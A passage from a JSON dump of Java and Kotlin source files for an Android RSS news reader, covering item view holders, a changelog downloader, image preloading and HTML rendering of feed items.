mPrefs) {\n        float scalingFactor = Float.parseFloat(mPrefs.getString(SettingsActivity.SP_FONT_SIZE, \"1.0\"));\n        if (halfScale) {\n            scalingFactor = scalingFactor + (1 - scalingFactor) / 2;\n        }\n\n        if (initialTvSize < 0) {\n            initialTvSize = Math.round(tv.getTextSize());\n        }\n        // float sp = initialSize / tv.getContext().getResources().getDisplayMetrics().scaledDensity;  // transform scaled pixels, device pixels\n        int newSize = Math.round(initialTvSize * scalingFactor);\n\n        // String name = tv.getResources().getResourceEntryName(tv.getId());\n        // Log.d(TAG, name + \" scale textsize from \" + initialTvSize + \" to \" + newSize);\n        tv.setTextSize(TypedValue.COMPLEX_UNIT_PX, newSize);\n    }\n\n    /**\n     * Return the number of rss item body text lines, depending on the currently selected font size/scale;\n     * only meant to be used with thumbnail feed view.\n     *\n     * @return number of lines of rss item body text lines to be used in thumbnail feed view\n     */\n    private static int scaleTextLines(SharedPreferences prefs) {\n        float scalingFactor = Float.parseFloat(prefs.getString(SettingsActivity.SP_FONT_SIZE, \"1.0\"));\n        /* The following formula computes the number of text lines for Simple item view; it simply boils\n         * down to a linear conversion from the font scaling factor from 0.8 -> 6 lines to 1.6 -> 3 lines\n         */\n        return Math.round((scalingFactor * -5) + 10);\n    }\n\n    abstract protected ImageView getImageViewFavIcon();\n\n    abstract protected ImageView getStar();\n\n    abstract protected ImageView getPlayPausePodcastButton();\n\n    abstract protected View getColorFeed();\n\n    abstract protected TextView getTextViewTitle();\n\n    abstract protected TextView getTextViewSummary();\n\n    abstract protected TextView getTextViewBody();\n\n    abstract protected TextView getTextViewItemDate();\n\n    abstract protected FrameLayout getPlayPausePodcastWrapper();\n\n    abstract protected ProgressBar getPodcastDownloadProgress();\n\n    @CallSuper\n    public void bind(@NonNull RssItem rssItem) {\n        this.rssItem = rssItem;\n\n        if(getStar() != null) {\n            int[] attribute = new int[]{R.attr.starredColor, R.attr.unstarredColor};\n            TypedArray array = getStar().getContext().getTheme().obtainStyledAttributes(attribute);\n            starColor = array.getColor(0, Color.TRANSPARENT);\n            inactiveStarColor = array.getColor(1, Color.LTGRAY);\n            array.recycle();\n        }\n\n        TextView textViewBody = getTextViewBody();\n\n        String title = null;\n        String favIconUrl = null;\n        if (rssItem.getFeed() != null) {\n            title = rssItem.getFeed().getFeedTitle();\n            favIconUrl = rssItem.getFeed().getFaviconUrl();\n        } else {\n            Log.v(TAG, \"Feed not found!!!\");\n        }\n\n        setReadState(rssItem.getRead_temp());\n        setStarred(rssItem.getStarred_temp());\n\n        setFeedColor(ColorHelper.getFeedColor(itemView.getContext(), rssItem.getFeed()));\n\n        TextView textViewSummary = getTextViewSummary();\n        if (textViewSummary != null) {\n            try {\n                int textSizeSummary = initalFontSizes.get(getTextViewSummary().getId());\n                textViewSummary.setText(Html.fromHtml(rssItem.getTitle()));\n                scaleTextSize(textViewSummary, textSizeSummary, false, mPrefs);\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n\n        TextView textViewTitle = getTextViewTitle();\n        TextView textViewItemDate = getTextViewItemDate();\n        int sizeOfFavIcon = 32;\n        int marginFavIcon = 0;\n        if (textViewTitle != null && title != null) {\n            if(textViewItemDate != null) {\n                // we have seperate views for title and date\n                textViewTitle.setText(Html.fromHtml(title));\n            } else {\n                // append date to title\n                textViewTitle.setText(String.format(\"%s · %s\", Html.fromHtml(title), DateTimeFormatter.getTimeAgo(rssItem.getPubDate())));\n            }\n\n            int textSizeTitle = initalFontSizes.get(textViewTitle.getId());\n            scaleTextSize(textViewTitle, textSizeTitle, true, mPrefs);\n\n            sizeOfFavIcon = textSizeTitle;\n            marginFavIcon = Math.round(textViewTitle.getTextSize());\n        }\n\n\n        if (textViewItemDate != null) {\n            int textSizeItemDate = initalFontSizes.get(getTextViewItemDate().getId());\n            //textViewItemDate.setText(DateUtils.getRelativeTimeSpanString(rssItem.getPubDate().getTime()));\n            textViewItemDate.setText(DateTimeFormatter.getTimeAgo(rssItem.getPubDate()));\n            scaleTextSize(textViewItemDate, textSizeItemDate, true, mPrefs);\n\n            sizeOfFavIcon = textSizeItemDate;\n            marginFavIcon = Math.round(textViewItemDate.getTextSize());\n        }\n\n\n\n        ImageView imgViewFavIcon = getImageViewFavIcon();\n        if (imgViewFavIcon != null) {\n            favIconHandler.loadFavIconForFeed(favIconUrl, imgViewFavIcon, Math.round((marginFavIcon - sizeOfFavIcon) / 2f));\n        }\n\n        if (textViewBody != null) {\n            int textSizeBody = initalFontSizes.get(textViewBody.getId());\n\n            String body = rssItem.getMediaDescription();\n            if (body == null || body.isEmpty()) {\n                body = rssItem.getBody();\n            }\n\n            boolean limitLength = true;\n            // Strip html from String\n            if (this instanceof RssItemFullTextViewHolder) {\n                textViewBody.setMaxLines(200);\n                limitLength = false;\n            } else if (this instanceof RssItemTextViewHolder) {\n                textViewBody.setMaxLines(scaleTextLines(mPrefs));\n                limitLength = false;\n            }\n\n            // long startTime = System.nanoTime();\n            body = getBodyText(body, limitLength); // This is a bottleneck\n            // long difference = System.nanoTime() - startTime;\n            // Log.d(TAG, \"Duration: \" + difference / 1000 / 1000 + \"ms\");\n\n            textViewBody.setText(Html.fromHtml(body));\n            scaleTextSize(textViewBody, textSizeBody, false, mPrefs);\n        }\n    }\n\n    @Override\n    public void onClick(View v) {\n        clickListener.onClick(this, getLayoutPosition());\n    }\n\n    public void setClickListener(RecyclerItemClickListener clickListener) {\n        this.clickListener = clickListener;\n    }\n\n    @Override\n    public boolean onLongClick(View v) {\n        return clickListener.onLongClick(this, getLayoutPosition());\n    }\n\n    public void setStarred(boolean isStarred) {\n        int color = isStarred ? starColor : inactiveStarColor;\n        int contentDescriptionId = isStarred ?\n                R.string.content_desc_remove_from_favorites :\n                R.string.content_desc_add_to_favorites;\n        ImageView star = getStar();\n        if(star != null) {\n            star.setColorFilter(color);\n            star.setContentDescription(star.getContext().getString(contentDescriptionId));\n        }\n    }\n\n    public RssItem getRssItem() {\n        return rssItem;\n    }\n\n    @SuppressWarnings(\"BooleanMethodIsAlwaysInverted\")\n    public boolean shouldStayUnread() {\n        return stayUnread;\n    }\n\n    public void setStayUnread(boolean shouldStayUnread) {\n        this.stayUnread = shouldStayUnread;\n    }\n\n    private String getBodyText(String body, boolean limitLength) {\n        if (body.startsWith(\"<![CDATA[\")) {\n            body = body.replaceFirst(Pattern.quote(\"<![CDATA[\"), \"\");\n            body = body.replaceFirst(\"]]>\", \"\");\n        }\n\n        body = body.replaceAll(\"<img[^>]*>\", \"\");\n        body = body.replaceAll(\"<video[^>]*>\", \"\");\n\n        SpannableString bodyStringSpannable = new SpannableString(Html.fromHtml(body));\n        bodyStringSpannable.setSpan(bodyForegroundColor, 0, bodyStringSpannable.length(), Spannable.SPAN_INCLUSIVE_INCLUSIVE);\n\n        String bodyString = bodyStringSpannable.toString().trim();\n\n\n        if (limitLength && bodyString.length() > LengthBody) {\n            bodyString = bodyString.substring(0, LengthBody) + \"...\";\n        }\n\n        return bodyString;\n    }\n\n    private void setFeedColor(int color) {\n        if (getColorFeed() != null) {\n            getColorFeed().setBackgroundColor(color);\n        }\n    }\n\n    public void setReadState(boolean isRead) {\n        TextView textViewSummary = getTextViewSummary();\n        if (textViewSummary != null) {\n            float alpha = 1f;\n            if (isRead) {\n                textViewSummary.setTypeface(Typeface.DEFAULT);\n                alpha = 0.7f;\n            } else {\n                textViewSummary.setTypeface(Typeface.DEFAULT_BOLD);\n            }\n\n            ((View) textViewSummary.getParent()).setAlpha(alpha);\n        }\n    }\n\n    public boolean isPlaying() {\n        return playing;\n    }\n\n    public void setPlaying(boolean playing) {\n        this.playing = playing;\n\n        int imageId = playing ? R.drawable.ic_action_pause_24 : R.drawable.ic_baseline_play_arrow_24;\n        int contentDescriptionId = playing ? R.string.content_desc_pause : R.string.content_desc_play;\n\n        ImageView playPause = getPlayPausePodcastButton();\n        String contentDescription = playPause.getContext().getString(contentDescriptionId);\n        playPause.setContentDescription(contentDescription);\n        playPause.setImageResource(imageId);\n    }\n\n    public void setDownloadPodcastProgressbar() {\n        float progress;\n        if (PodcastDownloadService.PodcastAlreadyCached(itemView.getContext(), rssItem.getFingerprint(), rssItem.getEnclosureLink())) {\n            progress = 100;\n        } else {\n            progress = downloadProgressList.get(rssItem.getId().intValue(), 0);\n        }\n        getPodcastDownloadProgress().setProgress((int) progress);\n        Log.v(TAG, \"Progress of download2: \" + progress);\n    }\n\n    @Subscribe\n    public void onEvent(PodcastDownloadService.DownloadProgressUpdate downloadProgress) {\n        downloadProgressList.put((int) downloadProgress.podcast.itemId, downloadProgress.podcast.downloadProgress);\n        if (rssItem.getId().equals(downloadProgress.podcast.itemId)) {\n            getPodcastDownloadProgress().setProgress(downloadProgress.podcast.downloadProgress);\n\n            Log.v(TAG, \"Progress of download1: \" + downloadProgress.podcast.downloadProgress);\n        }\n    }\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemWebViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport androidx.viewbinding.ViewBinding\nimport com.bumptech.glide.RequestManager\nimport de.luhmer.owncloudnewsreader.async_tasks.RssItemToHtmlTask\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemWebLayoutBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nclass RssItemWebViewHolder(\n    binding: ViewBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemWebLayoutBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    override fun getImageViewFavIcon(): ImageView = binding.layoutThumbnail.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.layoutThumbnail.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.layoutThumbnail.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): ImageView? = null\n\n    override fun getTextViewTitle(): TextView = binding.layoutThumbnail.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.layoutThumbnail.summary\n\n    override fun getTextViewBody(): TextView = binding.layoutThumbnail.body\n\n    override fun getTextViewItemDate(): TextView = binding.layoutThumbnail.tvItemDate\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout =\n        binding.layoutThumbnail.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar =\n        binding.layoutThumbnail.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n        val htmlPage: String =\n            RssItemToHtmlTask.getHtmlPage(\n                mGlide,\n                rssItem,\n                false,\n                mPrefs,\n                itemView.context,\n            )\n        binding.webViewBody.loadDataWithBaseURL(\n            \"file:///android_asset/\",\n            htmlPage,\n            \"text/html\",\n            \"UTF-8\",\n            \"\",\n        )\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/async_tasks/DownloadChangelogTask.java",
    "content": "package de.luhmer.owncloudnewsreader.async_tasks;\n\nimport android.content.Context;\nimport android.database.DataSetObserver;\nimport android.os.AsyncTask;\nimport android.util.Log;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ArrayList;\n\nimport de.luhmer.owncloudnewsreader.view.ChangeLogFileListView;\n\n/**\n * Downloads the owncloud news reader changelog from github, transforms it into xml\n * and saves it as tempfile. This xml tempfile can be used for changeloglib library.\n */\npublic class DownloadChangelogTask extends AsyncTask<Void, Void, String> {\n\n    private static final String TAG = \"DownloadChangelogTask\";\n\n    private static final String CHANGELOG_URL = \"https://raw.githubusercontent.com/nextcloud/news-android/master/CHANGELOG.md\";\n    private static final String FILE_NAME = \"changelog.xml\";\n\n    private final Context mContext;\n    private final ChangeLogFileListView mChangelogView;\n    private final Listener mListener;\n    private IOException exception;\n\n    /**\n     * @param context\n     * @param changelogView  this list view will be automatically filled when\n     *                       downloading and saving has finished\n     * @param listener       called when task has finished or errors have been raised\n     */\n    public DownloadChangelogTask(Context context,\n                                 ChangeLogFileListView changelogView,\n                                 Listener listener) {\n        mContext = context;\n        mChangelogView = changelogView;\n        mListener = listener;\n    }\n\n\n    @Override\n    protected String doInBackground(Void... params) {\n        String path = null;\n\n        try {\n            ArrayList<String> changelogArr = downloadChangelog();\n            String xml = convertToXML(changelogArr);\n            path = saveToTempFile(xml, FILE_NAME);\n        } catch (IOException e) {\n            exception = e;\n        }\n\n        return path;\n    }\n\n    @Override\n    protected void onPostExecute(String filePath) {\n        if (exception != null) {\n            mListener.onError(exception);\n            return;\n        }\n\n        mChangelogView.loadFile(filePath);\n        mChangelogView.getAdapter().registerDataSetObserver(new DataSetObserver() {\n            @Override\n            public void onChanged() {\n                mListener.onSuccess();\n            }\n        });\n    }\n\n    private ArrayList<String> downloadChangelog() throws IOException {\n        ArrayList<String> changelogArr = new ArrayList<>();\n\n        URL url = new URL(CHANGELOG_URL);\n        HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();\n        try {\n            InputStream isTemp = new BufferedInputStream(urlConnection.getInputStream());\n            BufferedReader in = new BufferedReader(new InputStreamReader(isTemp));\n            String inputLine;\n            String prevLine = \"\";\n            int lineNumber = 0;\n            while ((inputLine = in.readLine()) != null) {\n                lineNumber++;\n                if(inputLine.trim().isEmpty() && prevLine.startsWith(\"---\")) {\n                    Log.e(TAG, \"skip empty line after version code in changelog (please fix changelog - remove all empty lines after the version code line - Line: \" + lineNumber + \")\");\n                } else {\n                    changelogArr.add(inputLine.replace(\"<\", \"[\").replace(\">\", \"]\"));\n                }\n                prevLine = inputLine;\n            }\n            in.close();\n        } finally {\n            urlConnection.disconnect();\n        }\n\n        return changelogArr;\n    }\n\n    private String convertToXML(ArrayList<String> changelogArr) {\n        changelogArr.add(\"\");\n\n        // create xml nodes\n        StringBuilder builder = new StringBuilder();\n        builder.append(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\n\");\n        builder.append(\"<changelog bulletedList=\\\"true\\\">\");\n\n        boolean isFirst = true;\n\n        String previousLine = \"\";\n        for (String line : changelogArr) {\n            if (line.contains(\"---------------------\")) {\n                if (!isFirst) {\n                    builder.append(\"</changelogversion>\");\n                }\n                builder.append(\"<changelogversion versionName=\\\"\").append(previousLine).append(\"\\\">\");\n                isFirst = false;\n            } else if (line.startsWith(\"- \")) {\n                // change entry\n                builder.append(\"<changelogtext>\");\n                builder.append(line.substring(2).trim());\n                builder.append(\"</changelogtext>\");\n            }\n            previousLine = line;\n        }\n\n        builder.append(\"</changelogversion>\");\n        builder.append(\"</changelog>\");\n\n        return builder.toString();\n    }\n\n    private String saveToTempFile(String content, @SuppressWarnings(\"SameParameterValue\") String fileName) throws IOException {\n        File file = File.createTempFile(fileName, null, mContext.getCacheDir());\n\n        try (BufferedWriter out = new BufferedWriter(new FileWriter(file))) {\n            out.write(content);\n        }\n\n        return \"file://\" + file.getAbsolutePath();\n    }\n\n\n    public interface Listener {\n\n        /**\n         * Called when ChangeLogFileListView instance has successfully been updated.\n         */\n        void onSuccess();\n\n        /**\n         * Called when some error has been thrown during download, parsing or saving.\n         */\n        void onError(IOException e);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/async_tasks/DownloadImageHandler.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.async_tasks;\n\nimport android.graphics.Bitmap;\nimport android.util.Log;\n\nimport com.bumptech.glide.RequestManager;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\n\nimport java.net.URL;\nimport java.util.concurrent.ExecutionException;\n\nimport de.luhmer.owncloudnewsreader.helper.ImageDownloadFinished;\n\npublic class DownloadImageHandler {\n\tprivate static final String TAG = DownloadImageHandler.class.getCanonicalName();\n\n\tprivate URL mImageUrl;\n\tprivate ImageDownloadFinished imageDownloadFinished;\n\n\tpublic DownloadImageHandler(String imageUrl) {\n\t\ttry {\n\t\t\tthis.mImageUrl = new URL(imageUrl);\n\t\t} catch(Exception ex) {\n            Log.d(TAG, \"Invalid URL: \" + imageUrl, ex);\n\t\t}\n\t}\n\n\tpublic void preloadSync(RequestManager glide) {\n\t\ttry {\n\t\t\tBitmap bm = glide\n\t\t\t\t\t.asBitmap()\n\t\t\t\t\t.load(mImageUrl.toString())\n\t\t\t\t\t.diskCacheStrategy(DiskCacheStrategy.DATA)\n\t\t\t\t\t.submit()\n\t\t\t\t\t.get();\n\t\t\tNotifyDownloadFinished(bm);\n\t\t} catch (ExecutionException | InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tNotifyDownloadFinished(null);\n\t}\n\n\tprivate void NotifyDownloadFinished(Bitmap bitmap) {\n\t\tif(imageDownloadFinished != null) {\n            imageDownloadFinished.DownloadFinished(bitmap);\n        }\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/async_tasks/RssItemToHtmlTask.java",
    "content": "package de.luhmer.owncloudnewsreader.async_tasks;\n\nimport static de.luhmer.owncloudnewsreader.NewsDetailActivity.INCOGNITO_MODE_ENABLED;\nimport static de.luhmer.owncloudnewsreader.helper.ThemeChooser.THEME;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.os.AsyncTask;\nimport android.text.Html;\nimport android.text.format.DateUtils;\nimport android.util.Log;\n\nimport androidx.annotation.Nullable;\nimport androidx.annotation.VisibleForTesting;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.RequestManager;\nimport com.bumptech.glide.load.DataSource;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\nimport com.bumptech.glide.load.engine.GlideException;\nimport com.bumptech.glide.request.RequestListener;\nimport com.bumptech.glide.request.target.Target;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.ImageHandler;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\n\n\npublic class RssItemToHtmlTask extends AsyncTask<Void, Void, String> {\n\n    private static final double BODY_FONT_SIZE = 1.1;\n    private static final double HEADING_FONT_SIZE = 1.1;\n    private static final double SUBSCRIPT_FONT_SIZE = 0.7;\n    private static final String TAG = RssItemToHtmlTask.class.getCanonicalName();\n\n    private static final Pattern PATTERN_PRELOAD_VIDEOS_REMOVE = Pattern.compile(\"(<video[^>]*)(preload=\\\".*?\\\")(.*?>)\");\n    private static final Pattern PATTERN_PRELOAD_VIDEOS_INSERT = Pattern.compile(\"(<video[^>]*)(.*?)(.*?>)\");\n    private static final Pattern PATTERN_AUTOPLAY_VIDEOS_1 = Pattern.compile(\"(<video[^>]*)(autoplay=\\\".*?\\\")(.*?>)\");\n    private static final Pattern PATTERN_AUTOPLAY_VIDEOS_2 = Pattern.compile(\"(<video[^>]*)(\\\\sautoplay)(.*?>)\");\n    // private static final Pattern PATTERN_AUTOPLAY_REGEX_CB = Pattern.compile(\"(.*?)^(Unser Feedsponsor:\\\\s*<\\\\/p><p>\\\\s*.*?\\\\s*<\\\\/p>)(.*)\", Pattern.MULTILINE);\n    private static final Pattern PATTERN_PRE_BLOCK = Pattern.compile(\"<pre>(.*?)</pre>\", Pattern.MULTILINE | Pattern.DOTALL);\n\n    private final RssItem mRssItem;\n    private final Listener mListener;\n    private final SharedPreferences mPrefs;\n    private final boolean isRightToLeft;\n    private final RequestManager mGlide;\n\n    public interface Listener {\n        /**\n         * The RSS item has successfully been parsed.\n         * @param htmlPage  RSS item as HTML string\n         */\n        void onRssItemParsed(String htmlPage);\n    }\n\n\n    public RssItemToHtmlTask(Context context, RssItem rssItem, Listener listener, SharedPreferences prefs) {\n        this.mRssItem = rssItem;\n        this.mListener = listener;\n        this.mPrefs = prefs;\n        this.mGlide = Glide.with(context);\n\n        this.isRightToLeft = context.getResources().getBoolean(R.bool.is_right_to_left);\n    }\n\n    @Override\n    protected String doInBackground(Void... params) {\n        return getHtmlPage(this.mGlide, mRssItem, true, mPrefs, isRightToLeft);\n    }\n\n    @Override\n    protected void onPostExecute(String htmlPage) {\n        mListener.onRssItemParsed(htmlPage);\n        super.onPostExecute(htmlPage);\n    }\n\n    public static String getHtmlPage(RequestManager glide, RssItem rssItem, boolean showHeader, SharedPreferences mPrefs, Context context) {\n        return getHtmlPage(glide, rssItem, showHeader, mPrefs, context.getResources().getBoolean(R.bool.is_right_to_left));\n    }\n\n    /**\n     * @param rssItem       item to parse\n     * @param showHeader    true if a header with item title, feed title, etc. should be included\n     * @return given RSS item as full HTML page\n     */\n    public static String getHtmlPage(RequestManager glide, RssItem rssItem, boolean showHeader, SharedPreferences mPrefs, boolean isRightToLeft) {\n        boolean incognitoMode = mPrefs.getBoolean(INCOGNITO_MODE_ENABLED, false);\n\n        String favIconUrl = null;\n\n        Feed feed = rssItem.getFeed();\n\n        //int feedColor = colors[0];\n        if (feed != null) {\n            favIconUrl = feed.getFaviconUrl();\n        }\n\n        if (favIconUrl != null) {\n            favIconUrl = getCachedFavIcon(glide, favIconUrl);\n        } else {\n            favIconUrl = \"file:///android_res/drawable/default_feed_icon_light.png\";\n        }\n\n        String body_id = getSelectedTheme();\n        Log.v(TAG, \"Selected Theme: \" + body_id);\n\n        String rtlClass = isRightToLeft ? \"rtl\" : \"\";\n        String rtlDir = isRightToLeft ? \"rtl\" : \"ltr\";\n\n        StringBuilder builder = new StringBuilder();\n\n        boolean zoomEnabled = mPrefs.getBoolean(SettingsActivity.CB_DETAILED_VIEW_ZOOM, true);\n        String zoomRestrictions = zoomEnabled ? \"\" : \", maximum-scale=1, minimum-scale=1, user-scalable=0\";\n        builder.append(String.format(\"<html dir=\\\"%s\\\"><head><meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1%s\\\" />\", rtlDir, zoomRestrictions));\n        builder.append(\"<link rel=\\\"stylesheet\\\" type=\\\"text/css\\\" href=\\\"web.css\\\" />\");\n\n        // font size scaling\n        // builder.append(\"<style type=\\\"text/css\\\">\");\n        // builder.append(getFontSizeScalingCss(mPrefs));\n        // builder.append(\"</style>\");\n\n        builder.append(String.format(\"</head><body class=\\\"%s %s\\\">\", body_id, rtlClass));\n\n        if (showHeader) {\n            builder.append(\n                buildHeader(rssItem, body_id, favIconUrl)\n            );\n        }\n\n        String description = rssItem.getBody();\n\n        if (!description.isEmpty()) {\n            description = removeLineBreaksFromHtml(description);\n        }\n        else if(rssItem.getMediaDescription() != null) {\n            // in case the rss body is empty, fallback to the media description (e.g. youtube / ted talks)\n            description = rssItem.getMediaDescription();\n        }\n\n        if(!incognitoMode) {\n            // If incognito mode is disabled, try getting images from cache\n            description = getDescriptionWithCachedImages(glide, rssItem.getLink(), description).trim();\n        } else {\n            // When incognito is on, we need to provide some error handling\n            //description = description.replaceAll(\"<img\", \"<img onerror=\\\"this.style='width: 40px !important; height: 40px !important'\\\" \");\n            description = description.replaceAll(\"<img\", \"<img onerror=\\\\\\\"this.onerror=null;this.src='file:///android_asset/broken-image.png';this.style='margin-left: 0px !important; width: 80px !important; height: 80px !important'\\\\\\\"\");\n        }\n        description = replacePatternInText(PATTERN_PRELOAD_VIDEOS_REMOVE, description, \"$1 $3\"); // remove whatever preload is there\n        description = replacePatternInText(PATTERN_PRELOAD_VIDEOS_INSERT, description, \"$1 preload=\\\"metadata\\\" $3\"); // add preload attribute\n        description = replacePatternInText(PATTERN_AUTOPLAY_VIDEOS_1, description, \"$1 $3\");\n        description = replacePatternInText(PATTERN_AUTOPLAY_VIDEOS_2, description, \"$1 $3\");\n\n        //description = replacePatternInText(PATTERN_AUTOPLAY_REGEX_CB, description, \"$1 $3\");\n\n        builder.append(\"<div id=\\\"content\\\">\");\n        builder.append(description);\n        builder.append(\"</div>\");\n\n        builder.append(\"</body></html>\");\n\n        return builder.toString().replaceAll(\"\\\"//\", \"\\\"https://\");\n    }\n\n    @VisibleForTesting()\n    public static String removeLineBreaksFromHtml(String description) {\n        // UUID is used so there is only a very small chance that the placeholder text actually exists in the article\n        var uuid = UUID.randomUUID().toString();\n\n        // pre-blocks shouldn't have their formatting changed\n        var matcher = PATTERN_PRE_BLOCK.matcher(description);\n        var preBlocks = new ArrayList<String>();\n\n        while (matcher.find()) {\n            var group = matcher.group();\n            description = description.replaceFirst(Pattern.quote(group), \"PRE_BLOCK_THAT_WILL_BE_REPLACED_\" + uuid + \"_\" + preBlocks.size());\n            preBlocks.add(group);\n        }\n\n        description = description\n                .replaceAll(\"\\n\\n\", \"THIS_WILL_BE_BECOME_ONE_NEWLINE_LATER_\" + uuid) // This is required because otherwise `\\n\\n` would become 2 spaces\n                .replaceAll(\">\\n\", \">\") // The first character after a tag shouldn't have a space\n                .replaceAll(\"\\n\", \" \")\n                .replaceAll(\"THIS_WILL_BE_BECOME_ONE_NEWLINE_LATER_\" + uuid, \"\\n\");\n\n        for (int i = 0; i < preBlocks.size(); i++) {\n            description = description.replaceFirst(\n                    \"PRE_BLOCK_THAT_WILL_BE_REPLACED_\" + uuid + \"_\" + i,\n                    Matcher.quoteReplacement(preBlocks.get(i))\n            );\n        }\n        return description;\n    }\n\n    private static String getSelectedTheme() {\n        THEME selectedTheme = ThemeChooser.getSelectedTheme();\n        switch (selectedTheme) {\n            case LIGHT:\n                return \"lightTheme\";\n            case DARK:\n                return \"darkTheme\";\n            case OLED:\n                return \"darkThemeOLED\";\n            default:\n                return null;\n        }\n    }\n\n    private static String buildHeader(RssItem rssItem, String body_id, String favIconUrl) {\n        StringBuilder builder = new StringBuilder();\n\n        builder.append(\"<div id=\\\"top_section\\\">\");\n        builder.append(String.format(\"<div id=\\\"header\\\" class=\\\"%s\\\">\", body_id));\n        String itemTitle = Html.escapeHtml(rssItem.getTitle());\n        String linkToFeed = Html.escapeHtml(rssItem.getLink());\n        builder.append(String.format(\"<a href=\\\"%s\\\">%s</a>\", linkToFeed, itemTitle));\n        builder.append(\"</div>\");\n\n        String authorLine = Html.escapeHtml(rssItem.getAuthor());\n        if (\"\".equals(authorLine)) { // If author is empty, use name of feed instead\n            Feed feed = rssItem.getFeed();\n            if (feed != null) {\n                authorLine = feed.getFeedTitle();\n            }\n        }\n\n        builder.append(\"<div id=\\\"header_small_text\\\">\");\n\n        builder.append(\"<div id=\\\"subscription\\\">\");\n        builder.append(String.format(\"<img id=\\\"imgFavicon\\\" src=\\\"%s\\\" />\", favIconUrl));\n        builder.append(String.format(\"<span>%s</span>\", authorLine.trim()));\n        builder.append(\"</div>\");\n\n        Date date = rssItem.getPubDate();\n        if (date != null) {\n            String dateString = (String) DateUtils.getRelativeTimeSpanString(date.getTime());\n            builder.append(\"<div id=\\\"datetime\\\">\");\n            builder.append(dateString);\n            builder.append(\"</div>\");\n        }\n\n        builder.append(\"</div>\");\n        builder.append(\"</div>\");\n\n        return builder.toString();\n    }\n\n    private static String getCachedFavIcon(RequestManager glide, String favIconUrl) {\n        File file = null;\n        try {\n            file = glide\n                    .asFile()\n                    .diskCacheStrategy(DiskCacheStrategy.DATA)\n                    .onlyRetrieveFromCache(true)\n                    .load(favIconUrl)\n                    .submit()\n                    .get();\n        } catch (Exception e) {\n            Log.w(TAG, \"favicon is not cached\");\n        }\n\n        if (file != null) {\n            Log.d(TAG, \"favicon is cached!\");\n            return \"file://\" + file.getAbsolutePath();\n        } else {\n            return favIconUrl; // Return favicon url if not cached\n        }\n    }\n\n    /*\n    private static String getFontSizeScalingCss(SharedPreferences mPrefs) {\n        // font size scaling\n        double scalingFactor = Float.parseFloat(mPrefs.getString(SettingsActivity.SP_FONT_SIZE, \"1.0\"));\n        DecimalFormat fontFormat = new DecimalFormat(\"#.##\", new DecimalFormatSymbols(Locale.US));\n        return String.format(\n            Locale.US,\n            \"\"\"\n            :root {\\s\n                --fontsize-body: %sem;\\s\n                --fontsize-header: %sem;\\s\n                --fontsize-subscript: %sem;\\s\n            }\n            \"\"\",\n            fontFormat.format(scalingFactor * BODY_FONT_SIZE),\n            fontFormat.format(scalingFactor * HEADING_FONT_SIZE),\n            fontFormat.format(scalingFactor * SUBSCRIPT_FONT_SIZE)\n        );\n    }\n    */\n\n    private static String getDescriptionWithCachedImages(RequestManager glide, String articleUrl, String text) {\n        List<String> links = ImageHandler.getImageLinksFromText(articleUrl, text);\n\n        for(String link : 